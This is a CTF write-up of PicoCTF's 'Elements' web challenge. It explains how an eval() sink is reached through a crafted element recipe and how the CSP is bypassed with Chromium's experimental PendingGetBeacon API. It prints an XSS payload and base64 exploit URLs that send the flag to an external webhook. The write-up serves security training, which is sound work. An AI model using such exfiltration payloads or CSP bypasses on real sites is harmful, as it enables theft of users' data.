๐ Elements
A detailed write-up of the Web challenge 'Elements' from PicoCTF - 2024
๐ Challenge Overview
Category Details Additional Info ๐ Event PicoGym Event Link ๐ฐ Category Web ๐ ๐ Points Out of 500 total โญ Difficulty ๐ด Hard Personal Rating: 6/10 ๐ค Author ehhthing Profile ๐ฎ Solves (At the time of flag submission) 686 solve rate ๐ Date 07-03-2025 PicoGym ๐ฆพ Solved By mH4ck3r0n3 Team:
๐ Challenge Information
Insert Standard Web Challenge Here. Source code: elements.tar.gz Craft some magic up here
๐ฏ Challenge Files & Infrastructure
Provided Files
Files:
๐ Initial Analysis
First Steps
Initially, the website appears as follows:
It closely resembles games like Doodle God, where you have to mix elements to create new ones. Taking a look at the attached files, I immediately noticed two interesting things in the
index.jsfile:
1 2 3 4 5 6 7 8 9 10 11 12const evaluate = (...items) => { const [a, b] = items.sort(); for (const [ingredientA, ingredientB, result] of recipes) { if (ingredientA === a && ingredientB == b) { if (result === 'XSS' && state.xss) { eval(state.xss); } return result; } } return null; }At the beginning of the file, some variables are declared:
recipes,elements, andfound. Respectively, the first one contains all the combinations that form all the possible elements, the second is a map for all the possible elements, and the third indicates the elements found (initially set toFire, Water, Earth, Air). As we can see from the code above, the wordXSSeven suggests that in that specific part of the code, it is possible to achieve anXSS. The only thing we need to figure out is how to construct a chain of elements to discover theXSSelement, from which we can obtain aninjectionsince it is passed to aneval()function. Continuing to read through the files, I found more interesting things in theindex.mjsfile:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17const csp = [ "default-src 'none'", "style-src 'unsafe-inline'", "script-src 'unsafe-eval' 'self'", "frame-ancestors 'none'", "worker-src 'none'", "navigate-to 'none'" ] // no seriously, do NOT attack the online-mode server! // the solution literally CANNOT use it! if (req.headers.host !== '127.0.0.1:8080') { csp.push("connect-src https://elements.attest.lol/"); } res.setHeader('Content-Security-Policy', csp.join('; ')); res.setHeader('Cross-Origin-Opener-Policy', 'same-origin'); res.setHeader('X-Frame-Options', 'deny'); res.setHeader('X-Content-Type-Options', 'nosniff');As we can see, there are very strict
CSPrules that prevent making requests outside the scope of the website… So, most likely, to send ourselves the flag, we will need to bypass theCSP (Content Security Policy). Additionally, I found the/remoteCraftroute, where we can send the element chain to create theXSSelement:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28if (url.pathname === '/') { res.setHeader('Content-Type', 'text/html'); return res.end(html); } else if (url.pathname === '/index.js') { res.setHeader('Content-Type', 'text/javascript'); return res.end(js); } else if (url.pathname === '/remoteCraft') { try { const { recipe, xss } = JSON.parse(url.searchParams.get('recipe')); assert(typeof xss === 'string'); assert(xss.length < 300); assert(recipe instanceof Array); assert(recipe.length < 50); for (const step of recipe) { assert(step instanceof Array); assert(step.length === 2); for (const element of step) { assert(typeof xss === 'string'); assert(element.length < 50); } } visit({ recipe, xss }); } catch(e) { console.error(e); return res.writeHead(400).end('invalid recipe!'); } return res.end('visiting!'); }As we can see, the server ensures that the chain contains fewer than
50elements, so we cannot build one that exceeds this limit. Additionally, we are restricted to anXSSpayload with fewer than300characters. These limitations are quite strict… Let’s move on to the exploitation phase.
๐ฌ Vulnerability Analysis
Potential Vulnerabilities
- XSS (Cross Site Scripting)
- CSP (Content Security Policy) Bypass
๐ฏ Solution Path
Exploitation Steps
Initial setup
The first step is to construct the element chain to reach
XSS. To do this, we can inspect therecipesvariable to see what is needed to obtainXSSand manually build the chain (which would be quite tedious). Alternatively, we can write a script that directly extracts the chain for us. I used the second method, but I admit that I copied the script from an online write-up since I’m currently a bit rusty with programming ^^. So, I’ll try to explain it instead. This script simulates a crafting (or element combination) system, where, starting from a set of base elements, recipes are applied to obtain new elements until the target elementXSSis reached. Hereโs a detailed breakdown of what it does:
- The variable
havecontains the base elements:"Fire","Water","Earth", and"Air". Therecipeslist contains numerous recipes. Each recipe is a list consisting of three strings: the first and second elements are the required ingredients, while the third is the resulting product of the combination.- The script enters a
whileloop that continues until"XSS"is present in thehaveset.- Inside the loop, for each recipe
t: If both ingredients (t[0] and t[1]) are present inhaveand the product (t[2]) is not already inhave, then: The recipe is added to thestepslist. The product is added to thehaveset, and if the product isXSS, the loop breaks.- Backtracking phase: After obtaining
"XSS", aneedsset is created, initially containing"XSS". The script then iterates overstepsin reverse order, trying to “reconstruct” the path required to obtain"XSS". For each step (presumably a recipe represented by a list [ingredient1, ingredient2, product]), if the product (s[2]) is present inneeds, then: The pair of ingredients used in that recipe is added to the output (in theanswervariable). The product is removed from theneedsset and replaced with the two ingredients, allowing the script to “trace back” the combination chain to the base elements.So, to construct the chain, I simply ran the script:
Having obtained the chain:
1[['Earth', 'Water'], ['Earth', 'Fire'], ['Air', 'Earth'], ['Air', 'Water'], ['Magma', 'Mist'], ['Magma', 'Mud'], ['Fire', 'Mud'], ['Fire', 'Mist'], ['Obsidian', 'Water'], ['Air', 'Rock'], ['Fog', 'Mud'], ['Hot Spring', 'Sludge'], ['Fire', 'Steam Engine'], ['Brick', 'Mud'], ['Hot Spring', 'Steam Engine'], ['Earth', 'Obsidian'], ['Brick', 'Fog'], ['Computer Chip', 'Steam Engine'], ['Dust', 'Heat Engine'], ['Adobe', 'Cloud'], ['Electricity', 'Software'], ['Computer Chip', 'Fire'], ['Artificial Intelligence', 'Data'], ['Encryption', 'Software'], ['Fire', 'Sand'], ['Internet', 'Program'], ['Glass', 'Software'], ['Cybersecurity', 'Vulnerability'], ['Exploit', 'Web Design']]To reach the
XSSelement, all that’s left is to try the chain. Since the loading of thexssstate is executed in the following line:
1state = JSON.parse(atob(window.location.hash.slice(1)));And as we can see, the function
window.location.hash.slice(1)is used, so we can directly pass our payload to test it like this:rhea.picoctf.net:61508/#payload_base64. We need to pass it asbase64due to theatob()function. I then add"xss":"alert(1)"to the crafted element chain to try to trigger theXSSand executealert(1), and encode it in base64:Resulting in the following payload:
1http://rhea.picoctf.net:61508/#eyJ4c3MiOiAiYWxlcnQoMSkiLCAicmVjaXBlIjogW1siRWFydGgiLCAiV2F0ZXIiXSwgWyJFYXJ0aCIsICJGaXJlIl0sIFsiQWlyIiwgIkVhcnRoIl0sIFsiQWlyIiwgIldhdGVyIl0sIFsiTWFnbWEiLCAiTWlzdCJdLCBbIk1hZ21hIiwgIk11ZCJdLCBbIkZpcmUiLCAiTXVkIl0sIFsiRmlyZSIsICJNaXN0Il0sIFsiT2JzaWRpYW4iLCAiV2F0ZXIiXSwgWyJBaXIiLCAiUm9jayJdLCBbIkZvZyIsICJNdWQiXSwgWyJIb3QgU3ByaW5nIiwgIlNsdWRnZSJdLCBbIkZpcmUiLCAiU3RlYW0gRW5naW5lIl0sIFsiQnJpY2siLCAiTXVkIl0sIFsiSG90IFNwcmluZyIsICJTdGVhbSBFbmdpbmUiXSwgWyJFYXJ0aCIsICJPYnNpZGlhbiJdLCBbIkJyaWNrIiwgIkZvZyJdLCBbIkNvbXB1dGVyIENoaXAiLCAiU3RlYW0gRW5naW5lIl0sIFsiRHVzdCIsICJIZWF0IEVuZ2luZSJdLCBbIkFkb2JlIiwgIkNsb3VkIl0sIFsiRWxlY3RyaWNpdHkiLCAiU29mdHdhcmUiXSwgWyJDb21wdXRlciBDaGlwIiwgIkZpcmUiXSwgWyJBcnRpZmljaWFsIEludGVsbGlnZW5jZSIsICJEYXRhIl0sIFsiRW5jcnlwdGlvbiIsICJTb2Z0d2FyZSJdLCBbIkZpcmUiLCAiU2FuZCJdLCBbIkludGVybmV0IiwgIlByb2dyYW0iXSwgWyJHbGFzcyIsICJTb2Z0d2FyZSJdLCBbIkN5YmVyc2VjdXJpdHkiLCAiVnVsbmVyYWJpbGl0eSJdLCBbIkV4cGxvaXQiLCAiV2ViIERlc2lnbiJdXX0=After trying to visit the URL (if it doesn’t work, refresh with
F5), I got the injection:Now the real challenge is figuring out how to bypass the
CSPto send the flag to ourselves. Let’s move on to the next phase.
Exploitation
I must admit, I looked at this part in a write-up… The
CSPseemed very strict, almost not allowing anything through. In fact, I also noticed in thepolicy.jsonfile:
1{"URLAllowlist":["127.0.0.1:8080"],"URLBlocklist":["*"]}That all URLs outside of
localhost:8080are blocked, and at some point, I thought it was impossible. However, it turns out there was a method. By taking a look at the flags specified in thespawn()of the chromium instance (which, by the way, was modified by the challenge authors):
1 2 3 4 5 6 7 8 9 10 11 12 13const proc = spawn( '/usr/bin/chromium-browser-unstable', [ `--user-data-dir=${userDataDir}`, '--profile-directory=Default', '--no-sandbox', '--js-flags=--noexpose_wasm,--jitless', '--disable-gpu', '--no-first-run', '--enable-experimental-web-platform-features', `http://127.0.0.1:8080/#${Buffer.from(JSON.stringify(state)).toString('base64')}` ], { detached: true } )There is a flag
--enable-experimental-web-platform-featuresthat enables experimental features. In this case, there is anAPI(for this specific chromium version) calledPendingGetBeaconthat allows sending GET requests, and since it uses a technique (similar to the Beacon API) to send a GET request, it often bypasses the restrictions of CSP and URL policies (allowlist/blocklist). These restrictions are typically applied to standard requests (like fetch or XMLHttpRequest) and do not always strictly control beacons or requests generated through unconventional methods. In other words, thePendingGetBeaconmight be exempt or not fully covered by the rules blocking external URLs. So, we can specify:
1"xss": " let pb = new PendingGetBeacon('https://webhook_link/?flag=${state.flag}');pb.sendNow();"To send the flag to ourselves, the first thing I did was take the link of a
webhook(https://webhook.site) and set it in the exploit script. In the previously seen payload, I got the base64 and constructed the link:
1http://rhea.picoctf.net:61508/#eyJ4c3MiOiAiXG5sZXQgcGIgPSBuZXcgUGVuZGluZ0dldEJlYWNvbihgaHR0cHM6Ly93ZWJob29rLnNpdGUvY2EzNDU1YTktYTMwNC00ODM4LTkxMzQtMjQ1ZDEwOGJiYjEwLz9mbGFnPSR7c3RhdGUuZmxhZ31gKTtcbnBiLnNlbmROb3coKTtcbiIsICJyZWNpcGUiOiBbWyJFYXJ0aCIsICJGaXJlIl0sIFsiRWFydGgiLCAiV2F0ZXIiXSwgWyJBaXIiLCAiV2F0ZXIiXSwgWyJBaXIiLCAiRWFydGgiXSwgWyJNYWdtYSIsICJNdWQiXSwgWyJGaXJlIiwgIk1pc3QiXSwgWyJNYWdtYSIsICJNaXN0Il0sIFsiRWFydGgiLCAiT2JzaWRpYW4iXSwgWyJPYnNpZGlhbiIsICJXYXRlciJdLCBbIkZvZyIsICJNdWQiXSwgWyJBaXIiLCAiUm9jayJdLCBbIkNvbXB1dGVyIENoaXAiLCAiRmlyZSJdLCBbIkhvdCBTcHJpbmciLCAiU2x1ZGdlIl0sIFsiQ29tcHV0ZXIgQ2hpcCIsICJTdGVhbSBFbmdpbmUiXSwgWyJIb3QgU3ByaW5nIiwgIlN0ZWFtIEVuZ2luZSJdLCBbIkZpcmUiLCAiU3RlYW0gRW5naW5lIl0sIFsiQXJ0aWZpY2lhbCBJbnRlbGxpZ2VuY2UiLCAiRGF0YSJdLCBbIkNvbXB1dGVyIENoaXAiLCAiRWxlY3RyaWNpdHkiXSwgWyJEdXN0IiwgIkhlYXQgRW5naW5lIl0sIFsiRW5jcnlwdGlvbiIsICJTb2Z0d2FyZSJdLCBbIkNvbXB1dGVyIENoaXAiLCAiU29mdHdhcmUiXSwgWyJGaXJlIiwgIlNhbmQiXSwgWyJJbnRlcm5ldCIsICJQcm9ncmFtIl0sIFsiR2xhc3MiLCAiU29mdHdhcmUiXSwgWyJDeWJlcnNlY3VyaXR5IiwgIlZ1bG5lcmFiaWxpdHkiXSwgWyJFeHBsb2l0IiwgIldlYiBEZXNpZ24iXV19By sending the request (as done previously for the alert) and checking the web interface of the created
webhook, I received the request with theflagparameter containing the value of the flag.
Flag capture
๐ ๏ธ Exploitation Process
Approach
The automatic exploit literally performs the steps previously described, using the
/remoteCraftroute instead ofhttp://rhea.picoctf.net:61508/#payload_base64to send the payload. You just need to runserver.pyand haveexploit.pyin the same directory. The structure right now is a bit messy, but as soon as I have some time, I plan to write a library with all these functions. Currently,server.pyusesserveofor forwarding, extracting the link from thestdoutof subprocess and passing it toexploit.pyasargv. Then, the payload is set, and all of this is executed via a background thread while theFlaskserver runs in the foreground. This way, as soon as the request is made, it arrives at the Flask server, and through a regex, I extract only the flag.
๐ฉ Flag Capture
Flag
Proof of Execution
๐ง Tools Used
Tool Purpose Python Exploit
๐ก Key Learnings
New Knowledge
I have learned to bypass the CSP in the case of the
--enable-experimental-web-platform-featuresflag on Chromium spawn.
Skills Improved
- Binary Exploitation
- Reverse Engineering
- Web Exploitation
- Cryptography
- Forensics
- OSINT
- Miscellaneous
๐ References & Resources
Learning Resources
๐ Final Statistics
| Metric | Value | Notes |
|---|---|---|
| Time to Solve | 01:20 | From start to flag |
| Global Ranking (At the time of flag submission) | Challenge ranking | |
| Points Earned | Team contribution |
Created: 07-03-2025 โข Last Modified: 07-03-2025 *Author: mH4ck3r0n3 โข Team: *